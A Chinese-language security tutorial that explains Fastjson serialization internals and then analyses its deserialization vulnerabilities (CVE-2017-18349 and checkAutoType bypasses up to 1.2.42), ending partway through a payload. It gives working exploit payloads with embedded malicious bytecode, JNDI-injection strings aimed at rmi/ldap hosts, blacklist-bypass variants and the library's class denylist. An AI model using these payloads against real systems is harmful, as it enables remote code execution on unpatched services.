fastjson基础

简介

Fastjson是一个Java库,可以将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象。

指纹特征

任意抓包,改为POST请求,格式改为application/json,请求体为{不闭合,返回包会出现fastjson字样。当然也可能是无回显

导入依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class test {
public int age;
public String name;

public test(int age, String name) {
this.age = age;
this.name = name;
}

public int getAge() {
return age;
}

public String getName() {
return name;
}
}
  • 将类转换为JSON

    fastjson提供了JSONObject(fastJson提供的json对象)和JSONArray(fastJson提供的json数组对象)对象,JSON对象提供了toJSONString静态方法将对象转化为JSON字符串

    1
    2
    3
    4
    test test = new test(18, "B1uel0n3");
    String json= JSON.toJSONString(test);
    System.out.println(json);
    //{"age":18,"name":"B1uel0n3"}

    json中主要包含对象的属性和值

    toJSONString方法有若干重载方法,带有不同参数,其中常用的包括以下几个:

    • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到FastjsonConfig中全局使用,也可以在使用具体方法中指定特性。
    • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类可以以扩展编程的方式实现定制序列化。
    • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig,可以添加特点类型自定义的序列化配置。
  • 将json转化为类

    JSON对象提供parse、parseObject、parseArray方法供用户进行反序列化转化成对象

    区别:

    方法 返回值类型 适用场景
    parse 动态类型(对象/数组/基本类型) 通用解析,不确定JSON结构时
    parseObject 特定对象类型 需要强类型验证和对象映射时
    parseArray 对象列表/数组 处理JSON数组到对象集合时
    1
    2
    test newtest= JSON.parseObject(json, test.class);       System.out.println(newtest.getAge());
    //18

    注意,待转换JSON对应的类需要有无参构造函数,不然转换时会报错:

    1
    public test(){}

    同时需要注意:在调用转换后的对象的getter方法,如果类没有定义setter方法,那就会返回默认值

    猜测转换的大致流程就是:通过Class对象进行实例化,调用无参构造函数,通过setter方法设置值,这样转换后的对象就能封装有原本对象属性和对应值了

    这三个方法同样有很多重载方法,带有不同参数:

    • 反序列化特性:com.alibaba.fastjson.parser.Feature
    • 类的类型:java.lang.reflect.Type,用来执行反序列化类的类型。
    • 处理泛型反序列化:com.alibaba.fastjson.TypeReference。
    • 编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息。

@JSONField注解

可以利用该注解自定义输出,包括控制字段排序、序列化标记等:

1
2
@JSONField(name="AGE", serialize=true,ordinal=2)
private int age;

生成结果:

image-20250923175908257

  • format 参数用于格式化 date 属性。
  • 默认情况下, FastJson 库可以序列化 Java bean 实体, 但我们可以使用 serialize 指定字段不序列化。
  • 使用 ordinal 参数指定字段的顺序

作用对象:

  • Field
  • Setter 和 Getter 方法

注意:FastJson在进行操作时,是跟进getter和setter方法进行的,并不是根据Field进行。若属性是私有的,必须有set方法,否则无法反序列化。

转化过程分析

我这里用的是fastjson1.2.24的源码

对象转化为json

在JSON.toJSONString下断点:
image-20250923180544480

调用了它的一个重载方法,跟进:

image-20250923180655203

image-20250923180801287

实例化了一个JSONSerializer对象,随后调用了它的write方法

image-20250923180929259

方法中,先获取对象的Class,调用getObjectWriter方法,获取对应的序列化器,跟进:
image-20250924192205429

image-20250924192811055

方法下又会调用到SerializeConfig#getObjectWriter方法

image-20250924192434164

先尝试获取writer,是一个ObjectSerializer对象。

然后对获取到要转换对象的Class进行一系列判断,大致就是先找序列化器,然后再按对象类型匹配处理

image-20250924192516425

image-20250923181341563

最后判断create是否为true,我们传入的时候默认为true,所以会进入if语句,跟进createJavaBeanSerializer方法:
image-20250923181422040

先就是获取BeanInfo,其中会获取到类中定义的字段、方法、注解等元数据

调用另一个重载方法,方法下返回JavaBeanSerializer对象

image-20250923182139314

回到JSONSerializer#write,获取了对应序列化器后调用write方法开始进行序列化并转化为JSON:
image-20250924194753637

image-20250924194835163

具体的流程就在ASMSerializer_1_test#write方法中,这里跟不了就不跟了

主要逻辑就是跟进getter方法获取变量的值然后按照一定规则进行字符串拼接字符串,但这个输出对象并不是String,所以toJSONString方法最后调用其toString方法返回

也就是说如果没有实现getter方法,是没有办法成功将该属性的信息也写进json中

json转换为对象

以parseObject其中一个重载方法为例:

1
JSON.parseObject(JSON.toJSONString(test), test.class);

image-20250924195707433

继续跟进重载方法:

image-20250924195931096

image-20250923183926153

先实例化DefaultJSONParser用于解析JSON字符串,随后调用parseObject方法

跟进parseObject方法注意到下面这段代码:

image-20250923184106169

config.getDeserializer方法用于获取反序列化器,这里获取到的是JavaBeanDeserializer对象,

deserialze方法实现将JSON转化成Java对象

image-20250924201405517

跟进deserialze发现最后会调用FastjsonASMDeserializer_1_test#deserialze方法

其逻辑就是先解析JSON,处理{开始的对象,最后根据字段调用setter方法为实例化的对象添加属性值

1
2
3
4
5
6
JSON字符串 
→ 词法分析(lexer.nextToken)
→ 识别对象开始({)
→ 循环解析字段名和值
→ 根据字段名调用对应setter方法
→ 返回完整对象实例

反序列化后接着回到JSON#parseObject方法,最后还调用parser.handleResovleTask(value);

image-20250924202751195

而在这个方法中,同样调用了对象的setter方法来设置字段值

那这不就奇怪了吗,明明在进行反序列化时才调用了对象的setter为实例对象添加属性值,这里又来

其实这是因为他们分工明确,比如一个循环引用的JSON:

1
2
3
4
5
6
7
8
// 例如这样的JSON结构
{
"name": "parent",
"child": {
"name": "child",
"parent": {"$ref": "$"} // 引用根对象
}
}

FastjsonASMDeserializer_1_test#deserialze反序列化创建对象时遇到引用而引用的目标对象可能还未创建,所以只能处理JSON中常规字段和值,而parser.handleResovleTask(value);负责引用的解析,处理引用字段

也就是说在调用JSON.parseObject(JSON.toJSONString(test), test.class);转化过程中会调用setter方法

@type

这里分析几个重要的反序列化为Java对象的重载方法,也是解释fastjson漏洞的关键,即为什么设置@type字段值能造成远程代码执行漏洞

JSON.parse(String text)

JSON解析入口:

image-20250923185815304

但该方法仅接受一个参数就是传入的JSON字符串。在前面我们分析JSON转化为Java对象中,在反序列化时,需要将json与相应的对象的Class进行绑定,以告诉fastjson要还原成哪个对象。

而该方法并没有进行绑定,那么这个方法是如何识别要还原成什么对象呢?

1
2
String jsonString = JSON.toJSONString(test);
Object newtest = JSON.parse(jsonString);

跟进下代码:
image-20250924212130951

一样先实例化DefaultJSONParser用于解析JSON字符串

随后调用DefaultJSONParser#parse方法将JSON字符串解析成Java对象,跟进一下:
image-20250924212839248

这里解析我们传入的JSON,当匹配到左花括号时创建JSONObject实例并调用parseObject方法

跟进DefaultJSONParser#parseObject方法:
image-20250923190504138

该方法主要用于解析JSON对象,其中包括处理不同类型的键,主要关注下面代码:

image-20250923190628352

image-20250923190939868

这个key即我们对象属性的键名,即当变量的键值对中,如果键为@type,那么就会通过TypeUtils.loadClass方法获取对应值的Class对象,实际还是利用Class.forName方法,fastjson就是通过这种方法确定对象类型的

image-20250924214139818

随后在确定了对象类型后就会获取反序列化器再进行反序列化,后面的过程就一样的了

所以说如果我们传入JSON中含有@type,那么fastjson就会去加载这个类,随后在反序列化时会先创建实例,随后利用setter方法设置字段的值

注意如果没有@type则不会反序列化

如果你想序列化的json带有@type,可以添加指定Feature

1
2
String jsonString = JSON.toJSONString(test, SerializerFeature.WriteClassName);
//{"@type":"org.example.fastjson.Person","age":19,"name":"B1uel0n3"}

所以说如果想要实现触发恶意类造成代码执行,可以从两个方面入手,第一个方面就是恶意类在实例化时就能触发链子,第二方面就是在调用getter方法触发

JSON.parseObject(String text)

类似的还有一个JSON.parseObject(String text)方法,被称为基础解析入口,是parseObject的一个重载方法

image-20250923191634587

调用parse方法,跟前面一样这里就是漏洞触发的原因

往下看:

因为没有绑定java对象,会通过@type来加载对象,如果没有设置@type那返回的就是JSONObject对象,如果设置了,就会往下调用JSON.toJSON方法

这里我们默认设置了**@type值,注意此时的obj是一个java对象**,跟进JSON.toJSON方法:
image-20250924215900772

他会先判断对象的类型,然后获取序列化器,随后通过对象的getter方法获取值并转换为JSON格式存入JSONObject对象中,然后将JSONObject对象转化为JSON再调用parse方法

整体的逻辑就是在JSON.parse(String text)的基础上统一了输出java对象的格式为JSONObject格式

总的来说调用JSON.parseObject(String text)方法会导致@type所指定的对象的getter和setter方法都会被调用,且是先调用setter再调用getter

Feature

  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

    1
    test newtest = JSON.parseObject(json, test.class, Feature.SupportNonPublicField);
  • 序列化时指定Feature为SerializerFeature.WriteClassName,可输出@type

    1
    2
    String jsonString = JSON.toJSONString(test, SerializerFeature.WriteClassName);
    //{"@type":"org.example.fastjson.Person","age":19,"name":"B1uel0n3"}

fastjson<=1.2.24反序列化漏洞(CVE-2017-18349)

漏洞成因

fastjson默认使用@type指定反序列化任意类,攻击者可通过Java环境寻找构造恶意类,再通过反序列化过程中去调用其中的getter/setter方法,形成恶意调用链。

影响版本:fastjson<=1.2.24

环境搭建

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

TemplatesImpl反序列化

前面分析转换过程时我们知道可以从两方面进行切入,一方面是在实例化时触发我们的恶意链子,另一方面是通过getter/setter方法触发

这里很容易想到TemplatesImpl#getOutputProperties方法,我们可通过TemplatesImpl的这个getter方法来加载字节码

而要调用getter方法只能用我们的JSON.parseObject(String text)触发,因为JSON.parse(String tesxt)过程中只用了setter方,同时JSON.parseObject(String text)需要该对象有setter和getter方法,而TemplatesImpl并没有setter方法

这里我们可以想到Feature.SupportNonPublicField:

1
JSON.parseObject(text,Feature.SupportNonPublicField);

回顾TemplatesImpl加载恶意字节码的条件:

  • _name不能为空
  • _tfactory默认为null,需要为一个TransformerFactoryImpl对象
  • _class为null
  • _bytecodes为我们的恶意字节码

payload:

1
2
3
4
5
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";

image-20250925162354792

这有个疑问,为什么我们传入字节码为base64编码后的代码依然能够谈计算机呢?

这是因为解析JSON时调用了com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,调用栈:

image-20250925162607018

同样序列化时也会进行base64编码

而网上的payload并没有对_tfactory变量进行设置:

1
'_tfactory':{ }

这是因为如果json字符串没有对变量进行赋值,fastjson会通过变量类型,通过获取类型对象的无参构造方法进行实例化,作为默认值。

所以payload也可以是:

1
2
3
4
5
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}";

弊端:需要设置Feature.SupportNonPublicField

JdbcRowSetImpl反序列化

定位到com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法:
image-20250925170357683

image-20250925170414843

con默认为null调用connect方法:
image-20250925170504891

这里不就发现了熟悉的面孔嘛

this.getDataSourceName()不为null时会调用一次JNDI请求,且请求的地址就是this.getDataSourceName()

所有我们只用控制this.getDataSourceName()的值那么在调用setter方法时就能触发JNDI注入

观察它的setter方法:
image-20250925171704500

会调用父类的setter方法:
image-20250925171734033

父类的setDataSourceName方法就是对DataSource进行赋值

所以this.getDataSourceName()的值是可控的,当我们传入DataSourceName值时会先调用getter方法获取恶意地址,然后调用setAutoCommit方法触发JNDI注入,POC:

1
2
3
String text = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", " +
"\"dataSourceName\":\"rmi://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

注意由于parseObject会调用所有的setter和getter方法,而setAutoCommit方法中需要给AutoCommit一个布尔值,同时注意payload的先后顺序

因为这里反序列化的逻辑是依据json的,它是不断遍历json,哪个属性在前就先调用相应的setter方法。而getter是会经过首字母排序后依次调用

image-20250925180819748

fastjson 1.2.25-41 反序列化漏洞

改进源码分析

自从fastjson 1.2.24版本以后,引入了 checkAutoType 安全机制

image-20250925191118204

可以看到在原来代码处新增了checkAutoType机制检测类型是否合法

image-20250925192322803

image-20250925191452905

这里先判断autoTypeSupport是否为true,同时采用了黑白名单的方式进行检测

先采用白名单检测前缀:

image-20250925192528782

但白名单一开始是空的,是通过在配置中读取名为 AUTOTYPE_ACCEPT 的系统属性来赋予的

autoTypeSupport默认为false,同样可通过.properties进行设置

image-20250925192830299

如果白名单检查未通过,继续检查是否在拒绝列表中

包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

漏洞分析

所以如果我们需要利用这个版本的fastjson反序列化漏洞,首先需要autoTypeSuppor为true,并且需要绕过黑名单检测

这里我们跟进TypeUtils.loadClass方法看是否有改变:
image-20250925195030733

如果@type所指定的类以[开头,会创建一个数组返回这个数组对应的Class对象。如果变量componentType为b1uel0n3.class,则会返回b1uel0n3[].class,即b1uel0n3数组的Class对象

如果@type所指定的类以L开头并且以;结尾,则会去掉头尾部然后加载类

而黑名单的处理逻辑是通过startWith方法,所以我们可以利用上面两种方式来绕过检测

构造POC

先利用以L开头的payload:

1
2
3
4
5
String text = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";

注意需要开启autoType,而ParserConfig类提供了对应的setter方法:
image-20250925200213570

ParserConfig类提供了getGlobalInstance()静态方法供实例化:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

注意这个是全局配置,不能调用构造方法是因为它是局部配置

JdbcRowSetImpl链POC:

1
2
3
String text = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", " +
"\"dataSourceName\":\"ldap://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

然后是数组类型的绕过,主要解析逻辑位于DefaultJSONParser#parseArray方法,json需要满足一定格式,通过报错信息一步一步修改即可

POC:

1
2
3
4
5
String text = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";

image-20250925202645275

1
2
3
String text = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl;\"[{, " +
"\"dataSourceName\":\"ldap://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

fastjson 1.2.42

依旧采用黑白名单,但黑白名单转变成了HashCode的形式

image-20250925203422905

image-20250925203814462

检测逻辑也成了检测类名的哈希值

image-20250925204019512

且跟进checkAutoType方法,发现他会对我们@type值的第一位和最后一位进行检测进行哈希运算,如果被包装过就会去掉首尾字符,这里只能检测添加了特殊符号如逗号等或者进行了编码的类名,检测不了我们前面的数组绕过只能检测L开头;结尾的poc

最后在TypeUtils.loadClass进行类加载的逻辑就和之前是一样的了

image-20250925204406767

细心点我们就能发现他虽然能检测到,但只能去除首尾,那我们就可以利用双写来绕过

POC:

TemplatesImpl链:

1
2
3
4
5
String text = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
